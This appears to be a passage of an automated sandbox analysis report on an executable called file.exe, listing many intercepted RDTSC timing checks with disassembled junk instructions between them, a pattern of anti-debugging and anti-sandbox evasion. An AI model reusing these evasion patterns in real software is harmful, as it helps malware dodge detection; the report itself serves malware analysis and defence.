Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECD72 second address: FECD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECD79 second address: FECD86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FF0F8740856h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFB29 second address: FFFB58 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0F9102506h 0x00000008 jmp 00007FF0F9102511h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FF0F9102514h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFFB58 second address: FFFB5F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF9B6 second address: FFF9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF0F9102506h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007FF0F910250Fh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF9D6 second address: FFF9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF9DA second address: FFF9E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF9E3 second address: FFF9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF9F1 second address: FFF9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF9F9 second address: FFFA06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FF0F874085Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007D13 second address: 1007D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007E65 second address: 1007E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F8740869h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c ja 00007FF0F874085Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008159 second address: 10081A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FF0F910250Bh 0x0000000a jmp 00007FF0F9102518h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF0F9102512h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10081A0 second address: 10081A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10081A4 second address: 10081AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10081AC second address: 10081C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF0F874085Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100832F second address: 1008334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008334 second address: 100833F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100833F second address: 1008349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF0F9102506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100849F second address: 10084B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740862h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10084B5 second address: 10084BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10084BA second address: 10084C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B0C7 second address: 101B0CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101AF36 second address: 101AF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101888F second address: 1018898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018898 second address: 101889C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101889C second address: 10188A4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10188A4 second address: 10188C0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF0F8740858h 0x00000008 jmp 00007FF0F874085Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10188C0 second address: 10188C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10188C6 second address: 10188CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10188CA second address: 10188E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BCAE second address: 102BCB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BCB2 second address: 102BCBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BCBA second address: 102BCC9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FF0F8740856h 0x00000009 pop edx 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F488 second address: 102F499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jl 00007FF0F9102506h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F499 second address: 102F49D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10446F7 second address: 104471B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF0F9102519h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104471B second address: 1044728 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF0F8740858h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044A10 second address: 1044A33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FF0F9102519h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044A33 second address: 1044A44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FF0F8740856h 0x00000009 jne 00007FF0F8740856h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044A44 second address: 1044A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FF0F9102517h 0x0000000b jmp 00007FF0F9102511h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044BFC second address: 1044C03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044C03 second address: 1044C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10454B2 second address: 10454BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF0F8740856h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10454BE second address: 10454C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104833D second address: 1048341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048341 second address: 1048345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10483E4 second address: 10483FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740862h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10483FA second address: 1048400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104869C second address: 104871A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FF0F8740863h 0x00000010 nop 0x00000011 mov dx, 64B6h 0x00000015 push dword ptr [ebp+122D1E05h] 0x0000001b jmp 00007FF0F874085Fh 0x00000020 call 00007FF0F8740859h 0x00000025 jng 00007FF0F874085Ch 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jp 00007FF0F874086Ah 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104871A second address: 104871F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104871F second address: 1048748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c jno 00007FF0F8740864h 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push edx 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B50D second address: 104B511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B511 second address: 104B517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B0F5 second address: 104B0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6871C second address: F68721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68721 second address: F68726 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552037F second address: 552039A instructions: 0x00000000 rdtsc 0x00000002 mov bl, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF0F8740861h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552039A second address: 55203B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203B6 second address: 55203BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203BA second address: 55203BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203BE second address: 55203C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203C4 second address: 55203DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF0F9102510h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203DA second address: 55203EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF0F874085Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203EF second address: 5520420 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FF0F9102516h 0x00000011 mov ecx, dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520420 second address: 5520424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520424 second address: 552042A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552044E second address: 5520467 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 5CE64C8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF0F874085Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520467 second address: 5520479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0F910250Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520479 second address: 552047D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555076B second address: 555076F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555076F second address: 555078C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555078C second address: 55507CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007FF0F910250Dh 0x00000013 add ecx, 4E14DB56h 0x00000019 jmp 00007FF0F9102511h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55507CB second address: 5550866 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF0F8740860h 0x00000008 sbb ah, 00000078h 0x0000000b jmp 00007FF0F874085Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ax, ECAFh 0x00000017 popad 0x00000018 xchg eax, ecx 0x00000019 jmp 00007FF0F8740862h 0x0000001e xchg eax, esi 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FF0F874085Eh 0x00000026 xor cx, 2708h 0x0000002b jmp 00007FF0F874085Bh 0x00000030 popfd 0x00000031 pushad 0x00000032 movzx eax, dx 0x00000035 push edx 0x00000036 pop esi 0x00000037 popad 0x00000038 popad 0x00000039 push eax 0x0000003a pushad 0x0000003b mov ebx, eax 0x0000003d mov bx, si 0x00000040 popad 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007FF0F874085Dh 0x0000004b sub esi, 6AFD80D6h 0x00000051 jmp 00007FF0F8740861h 0x00000056 popfd 0x00000057 pushad 0x00000058 popad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550866 second address: 5550870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 00649BE0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550870 second address: 55508C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 lea eax, dword ptr [ebp-04h] 0x0000000a jmp 00007FF0F8740865h 0x0000000f nop 0x00000010 jmp 00007FF0F874085Eh 0x00000015 push eax 0x00000016 jmp 00007FF0F874085Bh 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FF0F8740865h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55508C2 second address: 55508E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF0F910250Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555098D second address: 55509AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55509AD second address: 55509B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55509B1 second address: 55509B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55509B7 second address: 55509BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55509BC second address: 55509F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b jmp 00007FF0F8740860h 0x00000010 leave 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF0F8740867h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55509F1 second address: 555001B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007FF0F910268Fh 0x0000001b xor eax, eax 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007FF0FD8CB41Bh 0x00000031 mov edi, edi 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FF0F9102517h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555001B second address: 555003F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555003F second address: 5550043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550043 second address: 5550056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550056 second address: 5550082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0F910250Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550082 second address: 55500A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0F8740865h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55500A9 second address: 55500AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55500AF second address: 55500DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FF0F874085Bh 0x00000015 mov ax, 948Fh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55500DD second address: 5550128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102515h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF0F910250Ch 0x00000012 sbb ah, 00000068h 0x00000015 jmp 00007FF0F910250Bh 0x0000001a popfd 0x0000001b movzx esi, di 0x0000001e popad 0x0000001f call 00007FF0F9102509h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550128 second address: 555012C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555012C second address: 5550130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550130 second address: 5550136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
